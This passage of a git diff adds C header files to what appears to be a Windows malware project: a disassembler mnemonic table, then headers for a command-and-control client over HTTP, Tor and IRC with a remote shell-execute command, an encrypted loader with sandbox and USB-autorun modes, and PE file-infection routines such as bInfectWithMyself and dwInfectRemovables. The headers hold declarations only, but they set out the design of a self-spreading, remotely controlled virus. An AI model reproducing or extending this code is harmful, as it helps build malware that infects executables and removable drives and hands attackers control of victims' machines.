+ I_VCMPNEQ_OQSS = 5647, I_VCMPNEQ_OSPD = 5457, I_VCMPNEQ_OSPS = 5055, I_VCMPNEQ_OSSD = 6261,
+ I_VCMPNEQ_OSSS = 5859, I_VCMPNEQ_USPD = 5345, I_VCMPNEQ_USPS = 4943, I_VCMPNEQ_USSD = 6149,
+ I_VCMPNEQ_USSS = 5747, I_VCMPNGEPD = 5210, I_VCMPNGEPS = 4808, I_VCMPNGESD = 6014,
+ I_VCMPNGESS = 5612, I_VCMPNGE_UQPD = 5413, I_VCMPNGE_UQPS = 5011, I_VCMPNGE_UQSD = 6217,
+ I_VCMPNGE_UQSS = 5815, I_VCMPNGTPD = 5221, I_VCMPNGTPS = 4819, I_VCMPNGTSD = 6025,
+ I_VCMPNGTSS = 5623, I_VCMPNGT_UQPD = 5427, I_VCMPNGT_UQPS = 5025, I_VCMPNGT_UQSD = 6231,
+ I_VCMPNGT_UQSS = 5829, I_VCMPNLEPD = 5175, I_VCMPNLEPS = 4773, I_VCMPNLESD = 5979,
+ I_VCMPNLESS = 5577, I_VCMPNLE_UQPD = 5373, I_VCMPNLE_UQPS = 4971, I_VCMPNLE_UQSD = 6177,
+ I_VCMPNLE_UQSS = 5775, I_VCMPNLTPD = 5164, I_VCMPNLTPS = 4762, I_VCMPNLTSD = 5968,
+ I_VCMPNLTSS = 5566, I_VCMPNLT_UQPD = 5359, I_VCMPNLT_UQPS = 4957, I_VCMPNLT_UQSD = 6163,
+ I_VCMPNLT_UQSS = 5761, I_VCMPORDPD = 5186, I_VCMPORDPS = 4784, I_VCMPORDSD = 5990,
+ I_VCMPORDSS = 5588, I_VCMPORD_SPD = 5387, I_VCMPORD_SPS = 4985, I_VCMPORD_SSD = 6191,
+ I_VCMPORD_SSS = 5789, I_VCMPTRUEPD = 5279, I_VCMPTRUEPS = 4877, I_VCMPTRUESD = 6083,
+ I_VCMPTRUESS = 5681, I_VCMPTRUE_USPD = 5497, I_VCMPTRUE_USPS = 5095, I_VCMPTRUE_USSD = 6301,
+ I_VCMPTRUE_USSS = 5899, I_VCMPUNORDPD = 5140, I_VCMPUNORDPS = 4738, I_VCMPUNORDSD = 5944,
+ I_VCMPUNORDSS = 5542, I_VCMPUNORD_SPD = 5330, I_VCMPUNORD_SPS = 4928, I_VCMPUNORD_SSD = 6134,
+ I_VCMPUNORD_SSS = 5732, I_VCOMISD = 2818, I_VCOMISS = 2809, I_VCVTDQ2PD = 6841,
+ I_VCVTDQ2PS = 3360, I_VCVTPD2DQ = 6852, I_VCVTPD2PS = 3296, I_VCVTPS2DQ = 3371,
+ I_VCVTPS2PD = 3285, I_VCVTSD2SI = 2744, I_VCVTSD2SS = 3318, I_VCVTSI2SD = 2558,
+ I_VCVTSI2SS = 2547, I_VCVTSS2SD = 3307, I_VCVTSS2SI = 2733, I_VCVTTPD2DQ = 6829,
+ I_VCVTTPS2DQ = 3382, I_VCVTTSD2SI = 2681, I_VCVTTSS2SI = 2669, I_VDIVPD = 3550,
+ I_VDIVPS = 3542, I_VDIVSD = 3566, I_VDIVSS = 3558, I_VDPPD = 9643, I_VDPPS = 9630,
+ I_VERR = 1679, I_VERW = 1685, I_VEXTRACTF128 = 9538, I_VEXTRACTPS = 9513,
+ I_VFMADD132PD = 8409, I_VFMADD132PS = 8396, I_VFMADD132SD = 8435, I_VFMADD132SS = 8422,
+ I_VFMADD213PD = 8689, I_VFMADD213PS = 8676, I_VFMADD213SD = 8715, I_VFMADD213SS = 8702,
+ I_VFMADD231PD = 8969, I_VFMADD231PS = 8956, I_VFMADD231SD = 8995, I_VFMADD231SS = 8982,
+ I_VFMADDSUB132PD = 8348, I_VFMADDSUB132PS = 8332, I_VFMADDSUB213PD = 8628,
+ I_VFMADDSUB213PS = 8612, I_VFMADDSUB231PD = 8908, I_VFMADDSUB231PS = 8892,
+ I_VFMSUB132PD = 8461, I_VFMSUB132PS = 8448, I_VFMSUB132SD = 8487, I_VFMSUB132SS = 8474,
+ I_VFMSUB213PD = 8741, I_VFMSUB213PS = 8728, I_VFMSUB213SD = 8767, I_VFMSUB213SS = 8754,
+ I_VFMSUB231PD = 9021, I_VFMSUB231PS = 9008, I_VFMSUB231SD = 9047, I_VFMSUB231SS = 9034,
+ I_VFMSUBADD132PD = 8380, I_VFMSUBADD132PS = 8364, I_VFMSUBADD213PD = 8660,
+ I_VFMSUBADD213PS = 8644, I_VFMSUBADD231PD = 8940, I_VFMSUBADD231PS = 8924,
+ I_VFNMADD132PD = 8514, I_VFNMADD132PS = 8500, I_VFNMADD132SD = 8542, I_VFNMADD132SS = 8528,
+ I_VFNMADD213PD = 8794, I_VFNMADD213PS = 8780, I_VFNMADD213SD = 8822, I_VFNMADD213SS = 8808,
+ I_VFNMADD231PD = 9074, I_VFNMADD231PS = 9060, I_VFNMADD231SD = 9102, I_VFNMADD231SS = 9088,
+ I_VFNMSUB132PD = 8570, I_VFNMSUB132PS = 8556, I_VFNMSUB132SD = 8598, I_VFNMSUB132SS = 8584,
+ I_VFNMSUB213PD = 8850, I_VFNMSUB213PS = 8836, I_VFNMSUB213SD = 8878, I_VFNMSUB213SS = 8864,
+ I_VFNMSUB231PD = 9130, I_VFNMSUB231PS = 9116, I_VFNMSUB231SD = 9158, I_VFNMSUB231SS = 9144,
+ I_VHADDPD = 4219, I_VHADDPS = 4228, I_VHSUBPD = 4253, I_VHSUBPS = 4262, I_VINSERTF128 = 9525,
+ I_VINSERTPS = 9579, I_VLDDQU = 7023, I_VLDMXCSR = 9963, I_VMASKMOVDQU = 7153,
+ I_VMASKMOVPD = 7971, I_VMASKMOVPS = 7959, I_VMAXPD = 3610, I_VMAXPS = 3602,
+ I_VMAXSD = 3626, I_VMAXSS = 3618, I_VMCALL = 1735, I_VMCLEAR = 10011, I_VMFUNC = 1803,
+ I_VMINPD = 3490, I_VMINPS = 3482, I_VMINSD = 3506, I_VMINSS = 3498, I_VMLAUNCH = 1743,
+ I_VMLOAD = 1833, I_VMMCALL = 1824, I_VMOVAPD = 2498, I_VMOVAPS = 2489, I_VMOVD = 3954,
+ I_VMOVDDUP = 2256, I_VMOVDQA = 3984, I_VMOVDQU = 3993, I_VMOVHLPS = 2217,
+ I_VMOVHPD = 2404, I_VMOVHPS = 2395, I_VMOVLHPS = 2385, I_VMOVLPD = 2236, I_VMOVLPS = 2227,
+ I_VMOVMSKPD = 2858, I_VMOVMSKPS = 2847, I_VMOVNTDQ = 6880, I_VMOVNTDQA = 7927,
+ I_VMOVNTPD = 2615, I_VMOVNTPS = 2605, I_VMOVQ = 3961, I_VMOVSD = 2165, I_VMOVSHDUP = 2413,
+ I_VMOVSLDUP = 2245, I_VMOVSS = 2157, I_VMOVUPD = 2148, I_VMOVUPS = 2139, I_VMPSADBW = 9659,
+ I_VMPTRLD = 10002, I_VMPTRST = 6407, I_VMREAD = 4150, I_VMRESUME = 1753, I_VMRUN = 1817,
+ I_VMSAVE = 1841, I_VMULPD = 3221, I_VMULPS = 3213, I_VMULSD = 3237, I_VMULSS = 3229,
+ I_VMWRITE = 4174, I_VMXOFF = 1763, I_VMXON = 10020, I_VORPD = 3088, I_VORPS = 3081,
+ I_VPABSB = 7717, I_VPABSD = 7747, I_VPABSW = 7732, I_VPACKSSDW = 3881, I_VPACKSSWB = 3713,
+ I_VPACKUSDW = 7948, I_VPACKUSWB = 3791, I_VPADDB = 7233, I_VPADDD = 7263,
+ I_VPADDQ = 6510, I_VPADDSB = 6960, I_VPADDSW = 6977, I_VPADDUSW = 6651, I_VPADDW = 7248,
+ I_VPALIGNR = 9441, I_VPAND = 6635, I_VPANDN = 6694, I_VPAVGB = 6709, I_VPAVGW = 6754,
+ I_VPBLENDVB = 9714, I_VPBLENDW = 9422, I_VPCLMULQDQ = 9680, I_VPCMPEQB = 4074,
+ I_VPCMPEQD = 4112, I_VPCMPEQQ = 7907, I_VPCMPEQW = 4093, I_VPCMPESTRI = 9759,
+ I_VPCMPESTRM = 9736, I_VPCMPGTB = 3733, I_VPCMPGTD = 3771, I_VPCMPGTQ = 8118,
+ I_VPCMPGTW = 3752, I_VPCMPISTRI = 9805, I_VPCMPISTRM = 9782, I_VPERM2F128 = 9287,
+ I_VPERMILPD = 7592, I_VPERMILPS = 7581, I_VPEXTRB = 9459, I_VPEXTRD = 9484,
+ I_VPEXTRQ = 9493, I_VPEXTRW = 6341, I_VPHADDD = 7405, I_VPHADDSW = 7423, I_VPHADDW = 7388,
+ I_VPHMINPOSUW = 8293, I_VPHSUBD = 7481, I_VPHSUBSW = 7499, I_VPHSUBW = 7464,
+ I_VPINSRB = 9560, I_VPINSRD = 9606, I_VPINSRQ = 9615, I_VPINSRW = 6324, I_VPMADDUBSW = 7444,
+ I_VPMADDWD = 7104, I_VPMAXSB = 8204, I_VPMAXSD = 8221, I_VPMAXSW = 6994, I_VPMAXUB = 6678,
+ I_VPMAXUD = 8255, I_VPMAXUW = 8238, I_VPMINSB = 8136, I_VPMINSD = 8153, I_VPMINSW = 6932,
+ I_VPMINUB = 6620, I_VPMINUD = 8187, I_VPMINUW = 8170, I_VPMOVMSKB = 6563,
+ I_VPMOVSXBD = 7786, I_VPMOVSXBQ = 7807, I_VPMOVSXBW = 7765, I_VPMOVSXDQ = 7870,
+ I_VPMOVSXWD = 7828, I_VPMOVSXWQ = 7849, I_VPMOVZXBD = 8014, I_VPMOVZXBQ = 8035,
+ I_VPMOVZXBW = 7993, I_VPMOVZXDQ = 8098, I_VPMOVZXWD = 8056, I_VPMOVZXWQ = 8077,
+ I_VPMULDQ = 7889, I_VPMULHRSW = 7570, I_VPMULHUW = 6771, I_VPMULHW = 6789,
+ I_VPMULLD = 8272, I_VPMULLW = 6526, I_VPMULUDQ = 7085, I_VPOR = 6946, I_VPSADBW = 7122,
+ I_VPSHUFB = 7371, I_VPSHUFD = 4036, I_VPSHUFHW = 4045, I_VPSHUFLW = 4055,
+ I_VPSIGNB = 7517, I_VPSIGND = 7551, I_VPSIGNW = 7534, I_VPSLLD = 7053, I_VPSLLDQ = 9877,
+ I_VPSLLQ = 7068, I_VPSLLW = 7038, I_VPSRAD = 6739, I_VPSRAW = 6724, I_VPSRLD = 6480,
+ I_VPSRLDQ = 9860, I_VPSRLQ = 6495, I_VPSRLW = 6465, I_VPSUBB = 7173, I_VPSUBD = 7203,
+ I_VPSUBQ = 7218, I_VPSUBSB = 6898, I_VPSUBSW = 6915, I_VPSUBUSB = 6583, I_VPSUBUSW = 6602,
+ I_VPSUBW = 7188, I_VPTEST = 7658, I_VPUNPCKHBW = 3813, I_VPUNPCKHDQ = 3859,
+ I_VPUNPCKHQDQ = 3929, I_VPUNPCKHWD = 3836, I_VPUNPCKLBW = 3645, I_VPUNPCKLDQ = 3691,
+ I_VPUNPCKLQDQ = 3904, I_VPUNPCKLWD = 3668, I_VPXOR = 7009, I_VRCPPS = 2989,
+ I_VRCPSS = 2997, I_VROUNDPD = 9327, I_VROUNDPS = 9308, I_VROUNDSD = 9365,
+ I_VROUNDSS = 9346, I_VRSQRTPS = 2955, I_VRSQRTSS = 2965, I_VSHUFPD = 6375,
+ I_VSHUFPS = 6366, I_VSQRTPD = 2910, I_VSQRTPS = 2901, I_VSQRTSD = 2928, I_VSQRTSS = 2919,
+ I_VSTMXCSR = 9992, I_VSUBPD = 3430, I_VSUBPS = 3422, I_VSUBSD = 3446, I_VSUBSS = 3438,
+ I_VTESTPD = 7612, I_VTESTPS = 7603, I_VUCOMISD = 2783, I_VUCOMISS = 2773,
+ I_VUNPCKHPD = 2339, I_VUNPCKHPS = 2328, I_VUNPCKLPD = 2297, I_VUNPCKLPS = 2286,
+ I_VXORPD = 3117, I_VXORPS = 3109, I_VZEROALL = 4140, I_VZEROUPPER = 4128,
+ I_WAIT = 10042, I_WBINVD = 561, I_WRFSBASE = 9953, I_WRGSBASE = 9982, I_WRMSR = 586,
+ I_XABORT = 1007, I_XADD = 946, I_XBEGIN = 1015, I_XCHG = 212, I_XEND = 1811,
+ I_XGETBV = 1787, I_XLAT = 400, I_XOR = 61, I_XORPD = 3102, I_XORPS = 3095,
+ I_XRSTOR = 4295, I_XRSTOR64 = 4303, I_XSAVE = 4271, I_XSAVE64 = 4278, I_XSAVEOPT = 4321,
+ I_XSAVEOPT64 = 4331, I_XSETBV = 1795, I__3DNOW = 10056
+ } _InstructionType;
+
+typedef enum {
+ R_RAX, R_RCX, R_RDX, R_RBX, R_RSP, R_RBP, R_RSI, R_RDI, R_R8, R_R9, R_R10, R_R11, R_R12, R_R13, R_R14, R_R15,
+ R_EAX, R_ECX, R_EDX, R_EBX, R_ESP, R_EBP, R_ESI, R_EDI, R_R8D, R_R9D, R_R10D, R_R11D, R_R12D, R_R13D, R_R14D, R_R15D,
+ R_AX, R_CX, R_DX, R_BX, R_SP, R_BP, R_SI, R_DI, R_R8W, R_R9W, R_R10W, R_R11W, R_R12W, R_R13W, R_R14W, R_R15W,
+ R_AL, R_CL, R_DL, R_BL, R_AH, R_CH, R_DH, R_BH, R_R8B, R_R9B, R_R10B, R_R11B, R_R12B, R_R13B, R_R14B, R_R15B,
+ R_SPL, R_BPL, R_SIL, R_DIL,
+ R_ES, R_CS, R_SS, R_DS, R_FS, R_GS,
+ R_RIP,
+ R_ST0, R_ST1, R_ST2, R_ST3, R_ST4, R_ST5, R_ST6, R_ST7,
+ R_MM0, R_MM1, R_MM2, R_MM3, R_MM4, R_MM5, R_MM6, R_MM7,
+ R_XMM0, R_XMM1, R_XMM2, R_XMM3, R_XMM4, R_XMM5, R_XMM6, R_XMM7, R_XMM8, R_XMM9, R_XMM10, R_XMM11, R_XMM12, R_XMM13, R_XMM14, R_XMM15,
+ R_YMM0, R_YMM1, R_YMM2, R_YMM3, R_YMM4, R_YMM5, R_YMM6, R_YMM7, R_YMM8, R_YMM9, R_YMM10, R_YMM11, R_YMM12, R_YMM13, R_YMM14, R_YMM15,
+ R_CR0, R_UNUSED0, R_CR2, R_CR3, R_CR4, R_UNUSED1, R_UNUSED2, R_UNUSED3, R_CR8,
+ R_DR0, R_DR1, R_DR2, R_DR3, R_UNUSED4, R_UNUSED5, R_DR6, R_DR7
+} _RegisterType;
+
+#endif /* MNEMONICS_H */
diff --git a/include/file.h b/include/file.h
new file mode 100644
index 0000000..7d13a83
--- /dev/null
+++ b/include/file.h
@@ -0,0 +1,22 @@
+#ifndef FILE_H
+#define FILE_H
+
+#define OF_WRITEACCESS 1
+#define OF_CREATENEW 2
+
+
+BOOL bOpenFile(const char* szFullPath, int oflags, HANDLE* hPtr);
+
+BOOL bHandleToBuf(HANDLE hFile, BYTE** bufPtr, SIZE_T* szFilePtr, SIZE_T* szReadPtr);
+
+BOOL bFileToBuf(HANDLE hFile, BYTE** bufPtr, SIZE_T* szBufPtr);
+
+BOOL bFileNameToBuf(const char* szFullPath, BYTE** pBuf, SIZE_T* pBufSiz);
+
+SIZE_T nBufToFile(HANDLE hFile, const BYTE* buf, SIZE_T szBuf);
+
+BOOL bBufToFileName(const char* szFullPath, int oflags, BYTE* buf, SIZE_T bufSiz);
+
+BOOL isFileInDir(LPSTR szDirName, LPSTR szFileName);
+
+#endif // FILE_H
diff --git a/include/http.h b/include/http.h
new file mode 100644
index 0000000..4f41471
--- /dev/null
+++ b/include/http.h
@@ -0,0 +1,140 @@
+#ifndef HTTP_H_INCLUDED
+#define HTTP_H_INCLUDED
+
+#ifdef _WIN32
+#include <windows.h>
+#endif
+
+#include "compat.h"
+
+#define ERR_HTTP_OK 0
+#define ERR_HTTP_PRE 2
+#define ERR_HTTP_CONNECT 4
+#define ERR_HTTP_REQUEST 8
+#define ERR_HTTP_SEND 16
+#define ERR_HTTP_WRITE 32
+#define ERR_HTTP_RESPONSE 64
+#define ERR_HTTP_QUERY 128
+#define ERR_HTTP_READ 256
+
+#define RSP_OK 0
+#define RSP_ERR 2
+#define RSP_PROTOCOL 4
+#define RSP_PROTOCOL_FLAG 8
+#define RSP_PROTOCOL_CODE 16
+#define RSP_WRONGSIZE 32
+#define RSP_WRONGPKGSIZE 64
+
+#define ST_UNAUTH 128
+
+#define SID_LEN 32
+#define SID_ZEROES0 0x10
+#define SID_ZEROES1 0x05
+#define MARKER_SIZ 8
+#define RND_LEN 64
+#define AESKEY_SIZ 32
+
+/* response flags from server */
+#define RF_AGAIN 0x41
+#define RF_ERROR 0x42
+#define RF_OK 0x66
+#define RF_ALL {RF_AGAIN,RF_ERROR,RF_OK}
+/* response codes (RCs) from server <=> request client action */
+/* response codes (RCs) to server <=> request server action */
+#define RC_INFO 0xACAB
+#define RC_REGISTER 0xAABB
+#define RC_PING 0x0043
+#define RC_SHELL 0x0044
+#define RC_ALL {RC_INFO,RC_REGISTER,RC_PING,RC_SHELL}
+
+
+typedef unsigned char rpkg[0];
+
+typedef unsigned char rflags;
+typedef uint16_t rrcode;
+typedef unsigned char* rrbuff;
+typedef uint32_t rrsize;
+
+typedef struct http_resp {
+ char startMarker[MARKER_SIZ];
+ rflags respFlags; /* RF_* */
+ rrcode respCode; /* RC_* */
+ rrsize pkgsiz;
+ rpkg pkgbuf;
+} __attribute__((packed, gcc_struct)) http_resp;
+
+
+#ifdef _WIN32
+typedef int (__stdcall *tor_main_t) (int proxy_port, unsigned int ident);
+
+int initHttp(LoadLibraryFunc loadlib, GetProcAddressFunc getproc);
+
+typedef struct http_args {
+ LPCSTR host;
+ DWORD hostLen;
+ LPCSTR resource;
+ DWORD resourceLen;
+ LPCSTR method;
+ DWORD methodLen;
+ rrbuff upload;
+ DWORD uploadLen;
+} http_args;
+
+int sendHttpRequest(http_args* hArgs, rrbuff* recv_buf, rrsize* recv_siz, DWORD* pStatusCode);
+
+int sendWeb2Tor(LPCSTR resource, LPCSTR method, rrbuff send_buf, rrsize send_siz, rrbuff* recv_buf, rrsize* recv_siz);
+
+int downloadLibtor(char** pLibPath);
+
+tor_main_t
+loadLibtor(char* libPath, HMODULE* hmod, LoadLibraryFunc loadlib, GetProcAddressFunc getproc);
+
+int sendRequest(rrcode query_code, rrbuff send_buf, rrsize send_siz, rrbuff* recv_buf, rrsize* recv_siz);
+
+int httpLoopAtLeastOnce(void);
+
+uint32_t getNextPingTime(void);
+
+#endif /* _WIN32 */
+
+int parseResponse(const rrbuff recv_buff, rrsize recv_siz, http_resp** hResp, size_t* pBufOff, const char* startMarker);
+
+int addRequest(rrbuff* send_buf, rrsize* send_siz, struct http_resp* hresp);
+
+/* data structures for valid pkgbuf's */
+#ifdef _WIN32
+struct req_info {
+ SYSTEM_INFO si;
+ HW_PROFILE_INFOA hw;
+ uint16_t cmdLineLen;
+ uint8_t devsLen;
+ rpkg data;
+} __attribute__((packed, gcc_struct));
+#endif
+
+struct resp_register {
+ unsigned char aeskey[AESKEY_SIZ];
+ uint32_t next_ping;
+} __attribute__((packed, gcc_struct));
+
+struct resp_pong {
+ uint32_t next_ping;
+} __attribute__((packed, gcc_struct));
+
+#define OP_OPEN 1
+#define OP_EXPL 2
+#define OP_PRNT 4
+
+#define SC_HIDE 0
+#define SC_SHOW 255
+
+struct resp_shell {
+ uint8_t operation;
+ uint8_t showcmd;
+ uint16_t fileLen;
+ uint16_t paramLen;
+ uint16_t dirLen;
+ rpkg data;
+} __attribute__((packed, gcc_struct));
+
+#endif /* HTTP_H_INCLUDED */
diff --git a/include/irc.h b/include/irc.h
new file mode 100644
index 0000000..2f88c69
--- /dev/null
+++ b/include/irc.h
@@ -0,0 +1,35 @@
+#ifndef IRC_H_INCLUDED
+#define IRC_H_INCLUDED
+
+#include "compat.h"
+
+
+#define R_BUFSIZ 512
+#define S_BUFSIZ 256
+#define S_TIMEOUT 60000
+
+typedef struct addrinfo {
+ int ai_flags;
+ int ai_family;
+ int ai_socktype;
+ int ai_protocol;
+ size_t ai_addrlen;
+ char *ai_canonname;
+ struct sockaddr *ai_addr;
+ struct addrinfo *ai_next;
+} ADDRINFOA, *PADDRINFOA;
+
+
+int initSocket(LoadLibraryFunc loadlib, GetProcAddressFunc getproc);
+
+int shutSocket(void);
+
+int ircRaw(const char* fmt, ...);
+
+int ircPrivmsg(const char* target, size_t totalSiz, const char* fmt, ...);
+
+int ircPrivmsgBinary(char* target, const unsigned char* buf, size_t siz);
+
+int ircLoop(const char* nick, const char* channel, const char* host, const char* port);
+
+#endif /* IRC_H_INCLUDED */
diff --git a/include/loader.h b/include/loader.h
new file mode 100644
index 0000000..a01914b
--- /dev/null
+++ b/include/loader.h
@@ -0,0 +1,39 @@
+/*
+ * WARNING: Any changes in this file require a *FULL* project rebuild!
+ * e.g.: `git clean -df . ; cmake . ; make -j4`
+ */
+
+#ifndef LOADER_H_INCLUDED
+#define LOADER_H_INCLUDED
+
+#include <stdint.h>
+
+#define LOADER_STR_IVKEYLEN 3
+#define LOADER_IVKEYLEN 8
+
+#define TGL_FLAG(ldr, mask) { ldr->flags |= (~ldr->flags & mask); }
+#define GET_FLAG(ldr, mask) (ldr->flags & mask)
+
+#define FLAG_EXIT_ONLY 16 /* 0b00010000 -> DLL exits after init (sandbox mode)*/
+#define FLAG_SHELLEXEC_ONLY 32 /* 0b00100000 -> DLL calls ShellExecute and exits (e.g. infected usb autoruns) */
+#define FLAG_CRYPTED_FUNCS 64 /* 0b01000000 -> DLL has crypted functions which are encrypted during runtime */
+
+
+/* should be the same structure as described at the end of `source/loader_x86.asm` */
+/* This struct is 4-byte aligned! */
+typedef struct loader_x86_data {
+ /* modified py source/patch.c only */
+ uint32_t sizStack;
+ /* modified by batch/patchLoader.py (old app: source/tools/host/old/file_crypt.c) */
+ char strVirtualAlloc[13];
+ char strIsBadReadPtr[13];
+ uint32_t iv[8];
+ uint32_t key[8];
+ /* modified by batch/patchLoader.py */
+ uint16_t flags; /* DLL Flags */
+ uint32_t ptrToDLL; /* Loader: VA of DLL section */
+ uint32_t sizOfDLL; /* Loader: size of DLL section */
+ uint32_t endMarker; /* ENDMARKER */
+} __attribute__((packed, gcc_struct)) loader_x86_data;
+
+#endif
diff --git a/include/log.h b/include/log.h
new file mode 100644
index 0000000..df4e820
--- /dev/null
+++ b/include/log.h
@@ -0,0 +1,24 @@
+#ifndef LOG
+#define LOG
+
+#ifdef _DEBUG
+#define EMBED_BREAKPOINT \
+ __asm volatile("nop; int3; nop;")
+#else
+#define EMBED_BREAKPOINT
+#endif
+
+#if defined(_DEBUG) || defined(_PRE_RELEASE)
+#define LOG_MARKER { COMPAT(printf)("%s.%d: Marker!\n", __FILE__, __LINE__); }
+#define PRINT_BYTES(buf, siz, delim) \
+ { \
+ char* result = __xbintostr(buf, siz, delim); \
+ puts(result); \
+ COMPAT(free)(result); \
+ }
+#else
+#define LOG_MARKER {}
+#define PRINT_BYTES(x,y,z) {}
+#endif
+
+#endif // LOG_H
diff --git a/include/math.h b/include/math.h
new file mode 100644
index 0000000..cea9222
--- /dev/null
+++ b/include/math.h
@@ -0,0 +1,19 @@
+#ifndef MATH_H_INCLUDED
+#define MATH_H_INCLUDED
+
+#include <stdlib.h>
+#include <stdint.h>
+
+uint64_t __udivmoddi4(uint64_t num, uint64_t den, uint64_t * rem_p);
+
+uint64_t __umoddi3(uint64_t num, uint64_t den);
+
+int64_t __moddi3(int64_t num, int64_t den);
+
+uint64_t __udivdi3(uint64_t num, uint64_t den);
+
+int64_t __divdi3(int64_t num, int64_t den);
+
+size_t __pow(size_t x, size_t n);
+
+#endif // MATH_H_INCLUDED
diff --git a/include/patch.h b/include/patch.h
new file mode 100644
index 0000000..d773620
--- /dev/null
+++ b/include/patch.h
@@ -0,0 +1,21 @@
+#ifndef PATCH_H_INCLUDED
+#define PATCH_H_INCLUDED
+
+#include <windows.h>
+
+#include "pe_infect.h"
+
+#define SIZEOF_X86_JMP32 5
+
+
+void patchRelJMP(BYTE* buf, DWORD destVA);
+
+BOOL bPatchLoader(const struct ParsedPE* ppe);
+
+BOOL bPatchNearEntry(const struct ParsedPE* ppe);
+
+int offFindNopsled(const BYTE* buf, SIZE_T szBuf, SIZE_T szNopsled);
+
+void offFillNops(BYTE* buf, SIZE_T szFill);
+
+#endif /* PATCH_H_INCLUDED */
diff --git a/include/pe_infect.h b/include/pe_infect.h
new file mode 100644
index 0000000..fecbfcc
--- /dev/null
+++ b/include/pe_infect.h
@@ -0,0 +1,86 @@
+#ifndef PE_INFECT_H
+#define PE_INFECT_H
+
+#include "loader.h"
+
+
+#define STRINGIFY(s) #s
+#define MAKE_STR(s) STRINGIFY(s)
+
+typedef struct ParsedPE
+{
+ BOOL valid;
+ BYTE* ptrToBuf;
+ SIZE_T bufSiz;
+ PIMAGE_DOS_HEADER hdrDos;
+ PIMAGE_FILE_HEADER hdrFile;
+ PIMAGE_OPTIONAL_HEADER hdrOptional;
+ PIMAGE_SECTION_HEADER hdrSection;
+ PIMAGE_DATA_DIRECTORY dataDir;
+ /* dll stuff */
+ BOOL hasDLL;
+ BYTE* ptrToDLL;
+ SIZE_T sizOfDLL;
+ /* loader stuff */
+ BOOL hasLdr;
+ BYTE* ptrToLdr;
+ SIZE_T sizOfLdr;
+ struct loader_x86_data* loader86;
+} __attribute__((packed, gcc_struct)) ParsedPE;
+
+
+void setOrigLoader(const struct loader_x86_data* ldr);
+
+const struct loader_x86_data* getOrigLoader(void);
+
+void setImageBase(DWORD newBase);
+
+DWORD getImageBase(void);
+
+void setImageSize(DWORD newSize);
+
+DWORD getImageSize(void);
+
+void setSectionAdr(DWORD newAdr);
+
+DWORD getSectionAdr(void);
+
+BYTE* getLoader(SIZE_T* pSiz);
+
+SIZE_T getRealLoaderSize(void);
+
+BYTE* PtrFromOffset(BYTE* base, DWORD offset);
+
+DWORD RvaToOffset(const struct ParsedPE* ppPtr, DWORD dwRva);
+
+BYTE* RvaToPtr(const struct ParsedPE* ppPtr, DWORD dwRva);
+
+DWORD OffsetToRva(const struct ParsedPE* ppPtr, DWORD offset);
+
+DWORD PtrToOffset(const struct ParsedPE* ppPtr, const BYTE* ptr);
+
+DWORD PtrToRva(const struct ParsedPE* ppPtr, const BYTE* ptr);
+
+BOOL bParsePE(BYTE* buf, const SIZE_T szBuf, struct ParsedPE* ppPtr, BOOL earlyStage);
+
+BOOL bCheckEndMarker(const struct ParsedPE *ppPtr);
+
+BOOL bAddSection(const char* sName, const BYTE* sectionContentBuf, SIZE_T szSection, BOOL executable, struct ParsedPE* ppPtr);
+
+BOOL bInfectFileWith(const char* sFile, const BYTE* maliciousBuf, SIZE_T maliciousSiz);
+
+BOOL bInfectWithMyself(const char* sFile);
+
+BOOL bIsInfected(const struct ParsedPE* ppPtr);
+
+void* pGetSegmentAdr(const char* sName, BOOL caseSensitive, const struct ParsedPE* ppPtr, SIZE_T* pSegSiz);
+
+DWORD dwDoRebase(void* dllSectionAdr, SIZE_T dllSectionSiz, const void* dllBaseAdr);
+
+DWORD dwInfectRemovables(void);
+
+DWORD dwCountNonSystemImportLibs(const struct ParsedPE* ppPtr);
+
+FARPROC WINAPI fnMyGetProcAddress(HMODULE hModule, LPCSTR szProcName);
+
+#endif
diff --git a/include/snprintf.h b/include/snprintf.h
new file mode 100644
index 0000000..ef2f15d
--- /dev/null
+++ b/include/snprintf.h
@@ -0,0 +1,41 @@
+/*
+ * The Minimal snprintf() implementation
+ *
+ * Copyright (c) 2013 Michal Ludvig <michal@logix.cz>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ * * Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * * Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ * * Neither the name of the auhor nor the names of its contributors
+ * may be used to endorse or promote products derived from this software
+ * without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+
+#ifndef SNPRINTF_H_INCLUDED
+#define SNPRINTF_H_INCLUDED 1
+
+#include <stdarg.h>
+
+unsigned int mini_itoa(int value, unsigned int radix, unsigned int uppercase, unsigned int unsig,
+ char *buffer, unsigned int zero_pad);
+
+int mini_vsnprintf(char* buffer, unsigned int buffer_len, const char *fmt, va_list va);
+
+#endif
diff --git a/include/utils.h b/include/utils.h
new file mode 100644
index 0000000..357ca92
--- /dev/null
+++ b/include/utils.h
@@ -0,0 +1,90 @@
+#ifndef UTILS_H_INCLUDED
+#define UTILS_H_INCLUDED
+
+#include "compat.h"
+
+#define SWAP_ENDIANESS32(x) ((x & 0xFF000000)>>24 | \
+ (x & 0x00FF0000)>> 8 | \
+ (x & 0x0000FF00)<< 8 | \
+ (x & 0x000000FF)<<24)
+
+#define SWAP_ENDIANESS16(x) ((x & 0x0000FF00)>>8 | \
+ (x & 0x000000FF)<<8)
+
